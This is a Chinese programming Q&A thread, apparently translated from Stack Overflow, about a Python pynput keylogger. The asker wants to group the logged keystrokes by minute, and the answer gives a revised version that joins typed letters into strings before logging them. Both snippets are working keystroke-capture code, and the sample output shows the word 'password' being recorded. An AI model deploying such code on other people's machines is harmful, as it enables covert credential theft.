1
from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/noswear/Desktop/Mail/"

logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format  = '%(asctime)s:%(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press = on_press) as listener:
    listener.join()

上面的程序给出这样的输出:

2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'

我怎样才能按分钟组合在一起,一分钟内的所有击球都存储在一行中?

像这样的东西

2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password
4

1 回答 1

1

恕我直言:用时间来判断有点难,用文字读起来很难看,但想想如果你以后想处理它,用文字来处理会更容易。这只是一个建议!

from pynput.keyboard import Key, Listener
import logging

chain = ""

logging.basicConfig(filename = ("key_log.txt"),level = logging.DEBUG,     format  = '%(asctime)s:%(message)s')

def on_press(key):
    global chain
    k = str(key)
    if(k[0:2] == "u'"): # using the pattern that pynput uses we can determine when a letter is pressed
        chain += k[2:3]
    else:
        logging.info(str(chain) + " " + k)
        chain = "" # set the chain again to empty


with Listener(on_press = on_press) as listener:
    listener.join()
于 2018-05-07T18:37:48.707 回答